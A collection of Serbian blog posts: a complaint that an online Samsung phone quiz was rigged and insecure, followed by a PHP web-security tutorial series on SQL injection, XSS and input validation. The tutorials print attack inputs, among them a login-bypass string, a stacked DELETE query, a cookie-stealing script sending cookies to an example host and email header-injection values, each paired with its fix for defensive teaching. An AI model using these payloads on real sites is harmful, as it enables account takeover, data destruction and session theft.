Aktualna tema na Internetu ovih dana je kviz u kojem 5 učesnika osvaja Samsung Galaxy S2 igrajući jednostavan kviz. Tih prvih 5 učesnika koji za najkraće vreme odgovore na 10 pitanja mogli su samo da sanjaju da će osvojiti telefon. Telefone su osvojili ljudi koji nikad nisu ni bili u top 10, niti se pojavljivali na listi tokom takmičenja koje je trajalo mesec dana.

Organizator igre, za kojeg pretopostavljam da je bio neko od uvozinika Samsung telefona ili predstavništvo Samsunga u Srbiji, nije ostavljao kontakt podatke na sajtu, kao ni telefon za reklamacije. Na forumima se može videti da su ljudi slali reklamacije na neki email, ali nikad niko nije dobio odgovor.

Interesantan je podatak da je za izradu ovog kviza zadužena firma „Wireless media doo“ iz Beograda koja za sebe kaže da je regionalni lider u oblasti razvoja web portala. U kvalitet njihovih usluga sam se uverio kao i mnogo drugih učesnika i zaključak je jasan -  kviz je urađen amaterski i sa mnogo propusta. Ko je pratio tok igre, sigurno je posumnjao da je u pitanju prevara.

Tokom takmičenja uvek je bila vidljiva lista top 10 najbržih, ali ne i njihova ostvarena vremena, pa tako učesnici nisu mogli da znaju koje vreme trebaju da dostignu. Po forumima su već počele da kruže priče kako je kviz namešten, ali još uvek sumnje nije bilo jer su se učesnici u top 10 smenjivali.

Ono što je zabrinjavajuće je da je ta lista misteriozno nestala nakon što sajt prethodnih 12 sati nije radio, a zatim je i kviz ugašen. Tek kasnije, u popodnevnim časovima tog dana je izašlo obaveštenje da će pobednici biti proglašeni naredne nedelje. Obaveštenje i imena dobitnika su se pojavila na sajtu, ali ne kao prvih 5 u top 10 listi, već kao obična vest. Ovi pobednici nikada nisu ni bili u top 10, niti ih je iko ikada video na toj tabeli.

Da li su ti učesnici rođaci, prijatelji zaposlenih ili sami zaposleni u „Wireless media doo“ i da su skrivanjem pravih rezultata oni osvojili telefon, u to ne bih da ulazim i ako se još u prvim danima trajanja kviza šuškalo da su dobitnici unapred poznati.

U obaveštenju, organizatori kviza se pravdaju da su rezultati „isfiltrirani“ i da je nad njima urađena „softverska provera“ šta god to bilo, pa su na taj način u stvari ovi ljudi dobili telefon, a ne oni koji su se smenjivali i pojavljivali na tabeli tokom trajanja igre. Zatim su pokušali da skinu odgovornost sa sebe za lošu izradu i vođenje kviza i okrivili učesnike koji su koristili, kako oni navode „skripte, exploite i druge nedozvoljene alate“, za šta nikako ne mogu imati dokaza. Da dodam da ovakve stvari nisu ni bile zabranjene pravilima kviza, tako da su organizatori posle završenog kviza izmislili neke nove uslove i pravila. I pogodite šta, svi ostali učesnici su bili uskraćeni prava na žalbu.

S druge strane, u nedozvoljene alate ne spada ako neko napiše svoj Internet pregledač koji radi na sličan način kao i Mozilla Firefox i na taj način surfuje Internetom. To je u potpunosti legalno i učesnici mogu ostvariti bolje rezultate, pa tako kviz može biti rešen za 1-2 sekunde. Neko koristi sporiji pregledač, neko napravi svoj, brži. Dakle, rado bih pitao organizatore – Kako možete dokazati da su učesnici varali? Da li možete te dokaze izneti javno?

S treće strane, ja sam imao manje vreme od pobednika kviza koristeći samo Firefox, bez bilo kakvih navedenih „nedozvoljenih alata“, kako oni navode. Takođe, znam i dosta drugih ljudi koji su imali manje vreme, a isto tako se i po forumima mogu videti rezultati koje su drugi učesnici pravili.

Samsung kviz je prepun bagova

Firma „Wireless media doo“ definitivno ima problem sa programerima, kao što moj kolega programer reče – onog ko je ovo pravio treba ubiti. U šali, naravno.

Pogledajte samo ove propuste:

Na pitanja nije bilo potrebno ni odgovoriti – dovoljno je bilo isključiti JavaScript (jedna mala opcija u Firefoxu) i submitovati kviz. Viola! Vreme od 2 sekunde i eto mene u top 10. Da li je ovo nelegalno? Da li je opcija „disable javascript“ nedozvoljena? Čini mi se da nije, programeri kviza sigurno znaju za noscript tag? Ili možda ne?

Mogu da promenim početno vreme – Zamislite situaciju da završite kviz pre nego što ste počeli? Fizički nemoguće, ali vi imate mogućnost da menjate sadržaj strane i da pošaljete podatke kakve želite. Jednostavno je, programeri iz WM ne umeju da provere da li ste počeli da igrate pre nego što ste završili?! Na ovaj način učesnici mogu imati vreme u minusu, npr -3 sekunde.

Kako ne bih previše da zalazim u tehničke detalje, predstaviću samo još jedan primer, moj favorit – učesnik može drugom učesniku da promeni lične podatke! Neverovatno! Dok se drugi ljudi muče, jure vremena ili “pišu exploite”, vi jednostavno submitujete formular za lične podatke sa izmenjem ID-em učesnika i tako uzmete njima svu slavu. Naravno, treba znati ID nekog korisnika ali ni to nije problem. Kako je ID broj koji počinje od 0 i lako se može videti poslednji dodeljeni, nije teško napisati jednu petljicu koja će jednu stvar za nas uraditi 1.000 puta i tako promeniti ime za 1.000 korisnika. Programeri nisu čak ni proverili da li je učesnik već upisao svoje lične podatke već su dozvolili da mu drugi učesnik promeni ime i prezime! Hmm, da li je samo meni palo na pamet da je poslednjeg dana server pao jer je neko poslao 500.000+ POST zahteva i hteo svima da izmeni imena?

I šta sad – „Wireless media doo“ neće priznati da ima nestručne programere, da ne ume da isprojektuje i realizuje online kviz koji će svim učesnicima dati približno jednake šanse, već će krivicu svaliti na učesnike koji se služe, kako oni kažu, nelegalnim sredstvima, a pred svojim klijentima će biti čisti. Da, da, znate, to su oni klinci, hakeri, bili su kod Brankice na B92.

Ne ulazim u to ko su dobitnici. Srećno, neka ih lepo služi. Ako nisu rođaci, onda su definitivno izvučeni metodom slučajnog izbora i nalepljena su im neka vremena. “Softverska provera” je glupost, tako nešto ne postoji. Čak i da postoji i da su oni napravili softver za proveru, posle svega viđenog definitivno im ne verujem da to zaista funkcioniše.

Dok XSS predstavlja indirektan napad na korisnike, SQL Injection predstavlja direktan napad na PHP aplikaciju, odnosno na bazu podataka. Cilj ovog napada je da se izmeni određeni SQL upit kako bi se izršile razne akcije, od dobijanja aletrantivnih podataka, do izmene ili brisanja podataka iz baze podataka.
Napad SQL Injection-om se uglavnom vrši na skripte za proveru autentifikacije korisnika, odnosno prilikom provere korisničkog imena i lozinke, kako bi se SQL upit izmenio i uvek izvršio tako da uvek “dohvata” podatke o nekom korisniku. Sledeći primer demonstrira propust prilikom provere korisničkih podataka:

<?php
// podaci sa login forme
$username = $_POST['username'];
$password = $_POST['password'];

// provera podataka
$sql = "SELECT * FROM korisnici WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql);
if(mysql_num_rows($result) > 0) {
	// korisnik je ulogovan...
}
?>

Ukoliko bi napadač u ovakav login formular umesto korisničkog imena i lozinke uneo sledeću vrednost:

a' OR '1' = '1

SQL upit koji bi se izvršio izgledao bi ovako:

SELECT * FROM korisnici WHERE username = 'a' OR '1'='1' AND password = 'a' OR '1'='1'

Ovakav upit bi sigurno vratio podatke o nekom korisniku, i u ovom konkretnom primeru omogućio bi korisniku da bude ulogovan. Dodavanjem još nekih uslova, na primer WHERE id = ’1′ ili nekog drugog ID-a, postoji velika verovatnoća da će biti autorizovan kao administrator sistema.
Osim kod provere autentifikacije, može se iskoristiti i u druge zlonamerne svrhe, a jedan od njih je ubacivanje dodatnog upita koji može uništiti podatke ili neke druge zlonamerne akcije.
Sledeći primer demonstrira SQL injection u cilju izvršenja dodatnog upita:

// ubacivanje dodatnog upita
$name = "Pera'; DELETE FROM korisnici”;
mysql_query("SELECT * FROM korisnici WHERE name='$name'");

Izvšenje više upita odjednom nije podržano u mysql_query() funkciji, ali drugi drajveri, npr za PostgreSQL ili SQLite, to dozvoljavaju, pa tako izvšenje ovakvog koda predstavlja ozbiljan sigurnosni propust.

Zaštita

Kao što je već spominjano u ranijim glavama, filtriranje inputa može sprečiti većinu sigurnosnih problema i obavezna je stavka sigurne aplikacije. Ukoliko bi filtrirali podatke tako da korisniku zabranimo unos specijalnih karaktera specifičnih za SQL upite, na primer apostrofe, i za lozinke možemo da koristimo jednosmerne enkripcije, na primer md5, sigurno bi povećali sigurnost. Međutim,postoje i druge metode za sprečavanje napada, a da dozvolimo sve karaktere:
• Escape inputa – mysql_real_escape_string()
• Pripremljeni izrazi

mysql_real_escape_string()

Ova funkcija pripada mysql drajveru, ali je poseduje i mysqli drajver (mysqli_real_escape_string) i osigurava da će svi specijalni karakteri biti pravilno eskejpovani, odnosno da se pri građenju upita i dalje ponašaju kao sastavni deo tog stringa i nikako ne iskoriste u izmeni upita. Ova funkcija je “best practice” i mora se izvršiti nad svim promenjivima koji grade upit.

$username = mysql_real_escape_string($_POST['username']);

Upit za gore navedeni primer nakon eskejpovanja-a promenjivih izgleda ovako:

SELECT * FROM korisnici WHERE username = 'a\' OR \'1\'=\'1' AND password = 'a\' OR \'1\'=\'1'

i zaštićen je od SQL injection napada. Pošto ove funkcije za eskejpovanje pripadaju drajveru za rad sa bazom podataka, sve kose crte “\” neće biti unete sa ostalim podacima u bazu, što nije slučaj u korišćenju addslashes funkcije.
Napomena: Pretpostavka je da je isključen magic_quotes_gpc, u suprotom se podaci moraju normalizovati, pa tek onda eskejpovati. Normalizacija podataka je objašnjena ranije.

Pripremljeni izrazi (Prepared statements)

Pripremljeni izrazi nisu tolika velika novost, ali mnogi programeri početnici izbegavaju da ih koriste, a verovatno je to zbog slabog razumevanja načina na koji rade. Pre svega, treba napomenuti da pripremljeni izrazi ne mogu da se koriste u starim verzijama drajvera, kao što je standaradni mysql. Takoreći, mysql drajver je starijeg datuma i njegov dalji razvoj je odavno obustavljen. Čak je i preporuka PHP konzorcijuma da se on potpuno izbaci iz korišćenja i da se koriste drajveri kao što su MySQLi i PDO. Ova dva drajvera su dosta brži i poseduju dosta sigurnosnih karakteristika.
Priprema izraza, odnosno njegovo građenje se odvija na MySQL serveru, pa stoga ne postoji mogućnost same izmene upita u php aplikaciji, a zbog načina na koji radi, ni na serveru. Prilikom pisanja upita, umesto promenjivih vrednosti koriste se operater “?”, a promenjive se šalju posebnom funkcijom, onim redosledom kakvim se ubacuju u upit.
Sledeći kôd opisuje rad MySQLi drajvera i pripremljenih izraza:

<?php
$username = $_POST['username'];
$password = $_POST['password'];

// Konekcija sa MySQL bazom
$mysqli = new mysqli('localhost', 'user', 'password', 'world');

$stmt = $mysqli->prepare("SELECT * FROM korisnici WHERE username = ? AND password = ? LIMIT 1");
// Vrednosti promenjivih se šalju na u upit
$stmt->bind_param('ss', $username, $password);

// izvršavanje upita
$stmt->execute();

if($stmt->affected_rows > 0) {
	// korisnik je ulogovan
}

//...

// zatvaranje izraza i upita
$stmt->close();
?>

Više o MySQLi drajveru i njegovim funkcionalnostima možete saznati na adresi:
http://php.net/manual/en/book.mysqli.php

XSS je tip sigurnosnih propusta koji je karakterističan za web aplikacije koji omogućava napadaču da ubaci kôd koji se izvršava na klijentskoj strani (JavaScript, ActiveX, HTML) u našu web stranicu. Cilj ovakvog napada je dobijanje osetljivih podataka kao što su korisničke sesije (cookie), odvođenje na drugu stranicu ili bilo koji drugi cilj koji se može postići izvršenjem koda na korisničkoj strani.

XSS-u su najčešće podložne web aplikacije koje ispisuju korisnički sadržaj – na primer: forumi, knjige gostiju, komentari članova i druge.

Sledeći primer opisuje XSS napad na stranicu koja ispisuje komentare članova. Ukoliko bi imali formu za upis komentara sličnu ovoj:

<form action="komentar.php" method="POST" />
    Vaše ime: <input type="text" name="ime" /><br />
    Komentar: <textarea name="komentar" rows="10" cols="60"></textarea><br />
    <input type="submit" value="Upišite komentar" />
</form>

i PHP skriptu koja ispisuje komentar

<?php
echo "<p>$ime je napisao:<br />";
echo $komentar ."</p>";
?>

definitivno bi imali ozbiljan sigurnosni propust. Korisnik može upisati komentar, ali i dodati HTML i JavaScript koji neće biti vidljiv od strane drugih korisnika. Komentar sa kojim napadač može ukrasti podatke o sesiji, koji se čuvaju u cookiu je sledeći:

<script>
	document.location = 'http://www.example.com/ukradi.php?kolacic=' +
      document.cookie
</script>

Ako bi bilo koji korisnik posetio ovu stranu, koja sadrži komentar sa ovim kôdom, biće preusmeren na drugu adresu. Ne samo da će svi naši korisnici otići na neki drugi sajt, već će napadač moći da pristupi našim kolačićima preko GET metode.
U zavisnosti od naših potreba, postoji više rešenja i više različitih PHP funkcija koje nam mogu pomoći.

HTML entiteti

Jedno od rešenja za XSS je da specijalne HTML karaktere (<, >, ‘, “, &) konvertujemo u njihove tekstualne entitete (&lt;, &gt;, &apos;, &quot;, &amp; ) i tako možemo biti sigurni da će HTML kôd biti ispisan onako kako je unet, pa tako i JavaScript neće biti izvšen.
PHP poseduje dve funkcije koje konvertuju HTML tagove u entitete. Jedna od njih je htmlspecialchars koja konvertuje gore navedene HTML tagove u odgovarajuće entitete:

<?php
$komentar = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $komentar; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

Odnosno, zaštita za našu skriptu za ispis komentara bi bila:

<?php
// konvertovanje outputa
$ime = htmlspecialchars($ime);
$komentar = htmlspecialchars($komentar);

echo "<p>$ime je napisao:<br />";
echo $komentar ."</p>";
?>

Druga funkcija je htmlentities koja konvertuje sve specijalne karaktere u svoje entitete, kao što su ©, », € i druge.

Izbacivanje HTML tagova

Drugi način sprečavanja XSS-a je izbacivanje HTML tagova iz komentara. Za ovo je potrebna vrlo jednostavna funkcija – strip_tags koja jednostavno briše sve HTML i PHP tagove i ostavlja čist tekst.

<?php
$komentar = '<p>Tekst u paragrafu.</p><!-- Komentar --> <a href="# ">Link</a>';
echo strip_tags($komentar);
?>

]

U ovom slučaju, svi html tagovi će biti izbačeni i biće ispisan samo sledeći tekst:

Tekst u paragrafu. Link

strip_tags ima još jednu mogućnost, a to je da izostavi tagove koje ne želimo da izbacimo. Na primer, ukoliko želimo da omogućimo korisnicima da koriste jednostvno formatiranje teksta, kao na primer: bold, em i sl, možemo koristiti:

strip_tags($komentar, '<strong><em><u>');

Međutim, moramo uzeti u obzir da se JavaScript može izvršiti unutar bilo kojeg taga, korišćenjem atributa onLoad ili onClick i sličnih, pa stoga ovakvo filtriranje može predstavljati sigurnosni rizik.

P.S. Sledeći tekst o sigurnosti PHP aplikacija biće o SQL injection-u. Stay tuned

Propust u IE omogućavao je napadaču da kompletno upravlja žrtvinim računarom, a exploit, sa imenom “Aurora” je već javno dostupan.

Preporučujem da pogledate demonstraciju ovog napada na Windows računar sa instaliram IE6.

Pogledajte i izvorni tekst – The “Aurora” IE Exploit Used Against Google in Action

Trebamo imati u vidu da su svi inputi stringovi (tekstualne vrednost), tako da i ako su one prikazane kao brojne vrednosti oni su i dalje samo stringovi. PHP ima tu mogućnost da radi sa različitim tipovima podataka i da ih menja dinamično, u hodu. Pa tako ako deklarišemo stringovnu promenjivu koja sadrži vrednost “23″, nju možemo sabrati sa bilo kojim brojem.

<?php
$broj = "23" // razlikuje se od $broj = 23;
$novi_broj = $broj + 3; // 26
?>

Ovaj kôd nikako ne predstavlja sigurnosni rizik, već samo jednu karakteristiku PHP-a, dobri programeri uvek moraju imati na umu sa kakvim tipovima podataka rade. To je jedna od osnova pravilne validacije inputa, pa krenimo redom.

Validacija brojnih vrednosti

Validacija brojnih vrednosti je veoma jednostavna i omogućava nam i da radimo sa ispravnim podacima i da veoma jednostavno povećamo sigurnost naše PHP aplikacije. Konkretno, ukoliko imamo stranicu koja na osnovu URL komande, odnosno zadatog ID parametra, ispisuje informacije o proizvodu i ukoliko nismo proverili da se zaista radi o ID parametru koji je brojčana vrednost (u najvećim slučajevima jeste), napadač lako može izazvati greške u radu aplikacije, pa čak i SQL injection, odnosno izmenu samog upita za “dohvatanje” informacija o proizvodu i tako ugroziti sigurnost aplikacije.

Primer takvog kôda može izgledati ovako:

<?php
// www.example.com/proizvod.php?id=15';DELETE FROM proizvodi;--

$id = $_GET['id'];
$sql = "SELECT * FROM proizvodi WHERE id= '$id'";

//...
?>

Jasno je da bi se umesto jednog, izvršila dva upita i $sql promenjiva bi izgledala ovako:

SELECT * FROM proizvodi WHERE id = '15'; DELETE FROM proizvodi; --'

Validacija ovakvog inputa, odnosno ID parametra, bi bila jednostavna. Trebali bi samo da osiguramo da je uneti parametar zaista broj, a da u ostalim slučajevima prikažemo grešku, odnosno nepostojeću stranu. Za tu svrhu možemo iskoristiti is_numeric() funkciju.

if(!is_numeric($_GET['id'])) {
    // prikaži 404 stranicu
}

Međutim, bolji način je kastovanje podataka, odnosno menjanje tipa. Na ovaj način definitivno osiguravamo da radimo sa pravim tipom podatka.

$id = (int) $_GET['id']

if($id == 0) {
    // prikaži 404 stranu
}

Sledeći kôd je ujedno i primer za “best practice” u ovakvim slučajevima:

<?php
// www.example.com/proizvod.php?id=15';DELETE FROM proizvodi;--

// Prvo proveramo da li je uopšte zadat obezan parametar
if(empty($_GET['id'])) {
    // prikaži 404
}

// kastovanje
$id = (int) $_GET['id']; // 15

// optimizacija: sprečavamo nepotreban upit
if($id <= 0) {
   // prikaži 404
}

// sada je upit siguran
$sql = "SELECT * FROM proizvodi WHERE id= '$id'";

//...
?>

Napomena: mysql_query() ne dozvoljava izvršenje više upita odjednom, ali drzajveri za PostgreSQL i SQLite ih podržavaju.

Savet: Operacije sa bazom podataka su najskuplje, u smislu vremena i memorije, pa tako ukoliko nije neophodo da imamo neki upit, ne trebamo ga ni imati. Ovaj primer odlično opisuje da ne trebamo izvršiti upit ukoliko je $id manji ili jednak nuli, jer u našoj bazi verovatno i nećemo imati proizvod sa tim ID.

Validacija teksualnih inputa

Dok je filtriranje brojeva relativno jednostavno, filtriranje tekstualnih inputa je za nijansu komplikovanije. Za neke prostije formate inputa, kao što su poštanski broj, telefon, email adresa i slični možemo koristiti već postojeće PHP funkcije. Ali, pre detaljnog objašnjena, sledeći primer odlično prikazuje važnost filtriranje inputa.

Ukoliko bi smo imali jednostavnu kontakt formu, koju korisnik popunjava svojim ličnim podacima, email adresom i komentarom, jednostavna skripta koja bi izvršavala tu kontakt formu i slala podatke na našu email adresu bi mogla da izgleda ovako:

<?php
// podaci sa forme
$ime = $_POST['ime'];
$email = $_POST['email'];
$tekst = $_POST['tekst'];

// Heder za ispis pošaljioca u mail klijentu
$heder = "From: $ime <$email> \n\r";

// slanje email-a na našu adresu
mail('kontakt@example.com', $tekst, $heder);

?>

Ova skripta će svakako raditi očekivano, ali samo ukoliko verujemo korisniku da će zaista uneti ispravne podatke. Pošto mu ne smemo verovati, napadač veoma lako može iskoristiti ovakvu skriptu za slanje SPAM poruka sa našeg servera. Dovoljno je da umesto svog imena, ili email adrese unese nešto ovako:

example@example.com> \n\r To: <example2@example.com> \n\r Bcc: <example3@example.com

Jasno je da će se vrednost iz $email direktno kopirati u $header, i da će poruka biti poslata na onoliko adresa koliko napadač želi. Važnost zaštite u ovom slučaju je veoma velika, svakako ne bi želeli da se sa našeg servera šalju SPAM poruke, zbog kojih možemo biti označeni kao maliciozni i završiti na nekoj “crnoj listi”.

Još jednom, rešenje ovog i mnogih drugih problema, leži u filtriranju inputa. Pa krenimo redom:

Ctype funkcije

Character type funkcije imaju odlične mogućnosti, a pritom imaju i odlične performanse. Ove funkcije, proveravaju svaki karakter i rezultat će biti TRUE jedino ako svaki karakter zadovoljava postavljeni kriterijum. U suprotom, ukoliko je karakter nedozvoljenog tipa, rezultat će biti FALSE.

Filter funkcije

Filter funkcije imaju dve mogućnosti – da provere string (validate) po postavljenim kriterijumima ili da ga isprave (sanitization) ukoliko ne odgovara kriterijumima. Svakako je preporučljivo koristi samo validaciju, ali i ispravljanje ima svoju široku primenu.

filter_var($var, $filter);

Prvi atribut je vrednost koja se proverava, a drugi predstavlja kriterijume za proveru, a sledeća tabela predstavlja najčešće korišćene kriterijume:

Sledeći primer prikazuje pravilnu validaciju email adrese. Takođe, predstavlja i rešenje za pređašnji primer koji je omogućavao slanje masovnig SPAM poruka:

<?php

$email = $_POST['email'];
if(filter_var($email, FILTER_VALIDATE_EMAIL)) {
    // sada je sigurno poslati mail
}
?>

Regularni izrazi (regular expression, regex)

Regularni izrazi su skup pravila koji se izvršavaju nad određenim podacima u cilju identifikacije karaktera i/ili znakovnih skupova u nekom tekstualnom objektu. Regularne izraze koriste svi programski jezici, imaju relativno dobre performanse i široku primenjivost.

Sledeća tabela prikazuje često korišćene PHP funkcije koje koriste regularne izraze:

Pošto regularni izrazi i njihovo funkcionisanje nije tema ovog kursa, biće prikazani samo najšeće korišćeni izrazi u proveri podataka:

<?php
// izraz za proveru email adrese
$regex = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}$/';

if(preg_match($regex, $email)) {
    // ispavna email adresa
}
?>

U sledećoj tabeli su dati često korišćeni i par zanimljivih regularnih izraza:

Za sad toliko o validaciji i filtriranju inputa. U nastavku ovog kursa možete očekivati tekstove na temu XSS-a (Cross Site Scripting) i SQL injection-a.

Svaka web aplikacije je napisana u cilju da izvrši zahteve korisnika. Ti zahtevi mogu biti “prikaži mi stranicu” ili “pošalji napisani mail” ili “uloguj me”, odnosno sve komande i podaci koje korisnik šalje aplikaciji. Interpretiranje tih komandi i podataka je osnovna delatnost aplikacije, a baš u toj interpretaciji leže najveći sigurnosni rizici.

Komande i podaci koje šaljemo aplikaciji se nazivaju inputi i mogu biti poslati putem:

• URL adrese
• HTML formulara
• Kolačića (cookie)
• Parametara u headeru zahteva

U web sigurnosti važi opšte pravilo da “korisniku nikada ne treba verovati”, pa tako ukoliko se od njega zahteva da unese svoju email adresu, ne mora baš značiti da će on to uraditi. Može uneti neku komandu koja će obrisati celu bazu podataka ili iskoristiti vaš server za slanje masovnih SPAM poruka. I ako zvuči neverovatno, realno je moguće i to će ovaj kurs pokazati i ponuditi metode za zaštitu takvog sistema.

Validacija inputa

Najveći sugurnosni propusti leže u interpretaciji inputa, pa stoga validacija tih komandi i podataka predstavlja najveći sigurnosni zadatak u kreiranju web aplikacije. Ujedno, validacija inputa nam omogućava da radimo sa realnim i ispravnim podacima, odnosno da odbacimo sve nepotrebne podatke. Uzmimo za primer samo kreiranje mejling liste – da li je bolje imati 100 korisnika sa ispravnim podacima, ili 10.000 sa neispravnim? Ili zamislite da se na našem kompanijskom blogu nađe 100 SPAM komentara koji sadrže linkove do pornografskog sadržaja ili maliciozne JavaScript kodove koje mogu naneti štetu našim korisnicima.

Dakle, validacija inputa, ne samo da odigrava značaju ulogu kao sigurnosni faktor, već omogućava uspešno poslovanje, kreiranje dobrog imidža i možda pre svega, čuva dragoceno vreme i novac koje bi izgubili ispravljajući nastale štete.

Nastavak je u sledećem članku -> Validacija i filtiranje inputa (Sigurnost PHP aplikacija – 3. deo)

Jedna od duhovitih činjenica o PHP-u je da su njegove funkcije pisane pod raznim okolnostima, ponekad i u alkoholisanom stanju. Uzevši i u obzir da je softver otvorenog koda, oni trezni mogu pronaći greške i kritikovati kako je PHP pun sigurnostnih propusta. To je donekle i tačno, ali takav sistem omogućava rešavanje tih propusta i sa svakom novom verzijom platforma postaje sve sigurnija. Međutim, najčešći krivci za sigurnosne propuste nije PHP platforma, već isključivo programeri aplikacija.

Lakoća programskog jezika, mogućnost da se neki proces odradi na mnogo načina ili vremensko ograničenje mogu biti uzroci takvih grešaka, ali za sigurnost svakako treba odvojiti vremena i steći dobre navike. Ne biste valjda rizikovali da vaša baza podataka bude ukradena, vaši korisnici izloženi riziku ili da ceo vaš online biznis propadne preko noći zbog jedne linije u kodu?

Na sigurnost ne treba gledati kao na karakteristiku, već na kao proces koji se treba stalno usavršavati i dorađivati i naročito ulagati u njega. Veoma često se dešava da programeri tokom razvoja aplikacije ignorišu sigurnost i trude se da aplikacija “proradi”, a sigurnost ostavljaju za kasniju fazu, koja uglavnom nikada i neće doći na red. To je veoma pogrešan pristup i treba imati uvek na umu da nije dovoljno dobro ako aplikacija radi ono što smo zamislili, već i da bude otporna na napade i da pravilno upravlja greškama. Dakle, sigurnost aplikacije treba uzimati u obzir u ranim fazama razvoja i već pri projektovanju napraviti dobar koncept kojeg se treba pridržavati tokom celog razvoja. Takav koncept, svakako, treba sadržati sledeću metadologiju:

• Bezbednost aplikativne arhitekture
• Upravljanje greškama
• Filtriranje i validacija inputa
• Testiranje

Sigurnost naše aplikacije zavisi i od sigurnosti servera na kojem se nalazi. Ukoliko takav server poseduje zastreo i ranjiv softver, velika je verovatnoća da je i naša aplikacija i baza podataka ugrožena. Svakako je najbolje rešenje imati celoukpnu kontrolu nad serverom i voditi računa da je softver uvek “up to date”.  Međutim, često to iz finansijskih razloga nije moguće pa smo opredeljeni za zakup hostinga na nekom serveru. U tom slučaju uvek birati kvalitetne i proverene hosting provajdere koji imaju ozbiljan pristup bezbednosti aplikativnog softvera, ne uzdati se previše u njihove sisteme bekapa podataka, već samostalno brinuti o tome.

Projektovanje sistema za upravljanje greškama treba uzeti u obzir u najranijoj fazi izgradnje aplikacije, a prilikom razvoja oslanjati se na taj sistem. Dobar sistem za upravljanje greškama treba da sadrži sa jedne strane obaveštenje za korisnike o nastaloj grešci, koja ne sadrži nikakve tehničke detalje o toj grešci, a sa druge strane, obaveštenje za programere koje sadrži što više tehničkih detalja koji otkrivaju uzrok greške i mesto nastanka. Svakako, treba uzeti u obzir i alate koji služe za pronalaženje grešaka.

Sledeći važnan faktor je filtriranja inputa i to je najvredniji savet koga se treba pridržavati. Uvek treba razmišljati u kritičnom stavu, osmisliti najgori scenario i sprečiti ga. Korisniku nikada ne treba verovati i to uvek treba imati na umu. Filtrirati svaki input, proveravati i najmanje moguće greške kao što su dužina stringa i slične, i nikada se ne uzdati u mogućnost HTML-a i JavaScripta za validaciju inputa. Koliko god dobro zaštitili našu formu JavaScript funkcijama, one uvek mogu biti zaobiđene, kao i sve što se izvršava na klijentskoj strani.

Bezbednost se može najlakše podići na viši nivo prostim testiranjem. Jednostavno, razmišljajte kao napadač, uzmite u obzir sve moguće scenarije i na taj način koristite aplikaciju. Krenite od prostih stvari – isključite JavaScript i pošaljite prazan formular, unesite neispravne podatke,  pokušajte SQL Injection.  U narednim člancima će biti opisane najčešće korišćene metode napada, pa isprobajte svaku nad vašom aplikacijom. Ukoliko otkrijete i najmanji mogući propust, rešite ga odmah.

Sledeći članak na temu “Sigurnost web aplikacija” se bavi problemom filtriranja podataka i validacije inputa. Na konkretnim primerima će biti prikazane česte greške koje programeri prave, ukazivanje na bitnost tih grešaka, kao i načini rešavanja istih. Stay tuned.